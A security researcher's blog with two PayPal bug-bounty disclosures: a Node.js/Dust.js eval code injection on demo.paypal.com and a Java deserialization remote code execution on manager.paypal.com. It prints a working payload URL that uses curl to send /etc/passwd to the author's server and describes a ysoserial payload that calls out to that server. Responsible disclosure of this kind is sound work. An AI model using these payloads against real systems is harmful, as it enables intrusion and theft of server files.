Friday, August 19, 2016

[demo.paypal.com] Node.js code injection (RCE)

When I am trying to find vulnerabilities in web applications, I always perform fuzzing of all http parameters, and sometimes it gives me something interesting:

The demo.paypal.com server was responding differently for '\' and '%0a' requests and was throwing a 'syntax error' in responses. At the same time for single quote, double quote and other characters the server was responding with HTTP 200 OK.

From error messages I found out that PayPal Node.js application uses Dust.js javascript templating engine on server-side, so I decided to take a look. After looking at its source code on github, I figured out that the problem is connected with using "if" dust.js helpers.

The old version of Dust.js supports "if" helpers, you can use them in your code like that:

And the "if" helper internally uses javascript eval, for complex expression evaluation:
https://github.com/linkedin/dustjs-helpers/blob/03cd65f51a6983ae25143bfd6533b2eef6f3f63b/lib/dust-helpers.js#L215

Eval! Yeah, why not? It's a simple and elegant solution.

So when I send a request to http://_demo.paypal.com/demo/navigation?device=xxx\ application is trying to evaluate the following javascript expression:

Which throws a syntax error.

Does that mean that user supplied input comes to eval() directly? Not actually, the application performed replacement for several dangerous characters like single quote (') and double quote (") with html encoding (' -> '), so we cannot directly close the string and execute arbitrary javascript code. But let's look closer at the function that makes this replacement:

https://github.com/linkedin/dustjs/blob/c20e70edb2041a66067a010bdefbf9fe3267c7ab/lib/dust.js#L846

Hmmm, but what if the 's' parameter is not a string? In Node.js we can send a request like paypal.com/?device[]=1&device[]=2 and the 'device' parameter will be parsed by qs module as an Array, instead of string.

I quickly made a request to https://_demo.paypal.com/demo/navigation?device[]=&device[]=' and when the server responded with 'syntax error' my chair started to shake under me.

I am a bit friendly with Node.js, so it took me few minutes to craft a test payload that sends '/etc/passwd' file to my server.

https://_demo.paypal.com/demo/navigation?device[]=x&device[]=y'-require('child_process').exec('curl+-F+"x=`cat+/etc/passwd`"+artsploit.com')-'



This string was worth $10.000 for me.

Monday, January 25, 2016

[manager.paypal.com] Remote Code Execution Vulnerability


In December 2015, I found a critical vulnerability in one of PayPal business websites (manager.paypal.com). It allowed me to execute arbitrary shell commands on PayPal web servers via unsafe JAVA object deserialization and to access production databases. I immediately reported this bug to PayPal security team and it was fixed promptly.

Details


While testing manager.paypal.com application, I noticed an unusual post form parameter “oldFormData” that looks like a complex object after base64 decoding:

The following research showed that it is a Java serialized object without any signature. It means you can send a serialized object of any existing class to the server, and the “readObject” (or “readResolve”) method of that class will be called. For exploitation, you need to find a suitable class in the application “classpath” which can be serialized and has something interesting (from exploitation point of view) in the “readObject” method. You can read about this technique in the recent article by FoxGlove Security. A year ago, Chris Frohoff (@frohoff) and Gabriel Lawrence (@gebl) did a great job and found suitable classes in Commons Collections library that could lead to remote code execution. They also published the “ysoserial” payload generation tool on their github page.

Exploit


I downloaded this tool and generated a simple payload that sends DNS and HTTP requests to my own server by executing the “curl x.s.artsploit.com/paypal” shell command.


Then I sent the base64 encoded payload in the “oldFormData” parameter to the application server and was impressed by an incoming request from the PayPal network that appeared in my NGINX access log:


I realized that I could execute arbitrary OS commands on the web servers of manager.paypal.com, establish a back connection to my own Internet server and, for example, upload and execute a backdoor. As a result, I could get access to production databases used by the manager.paypal.com application.

Instead, I just read “/etc/passwd” file by sending it to my server as a proof of the vulnerability:


I also recorded a video how to reproduce this vulnerability and reported it to the PayPal security team.
Later, I found out that many other endpoints of the manager.paypal.com application also use serialized objects and can be exploited as well.

In a month, my report received a Duplicate status because another researcher, Mark Litchfield, reported a similar vulnerability two days earlier than I did (on December 11, 2015). PayPal decided to pay me a good bounty anyway, and I have nothing but respect for them.

Demo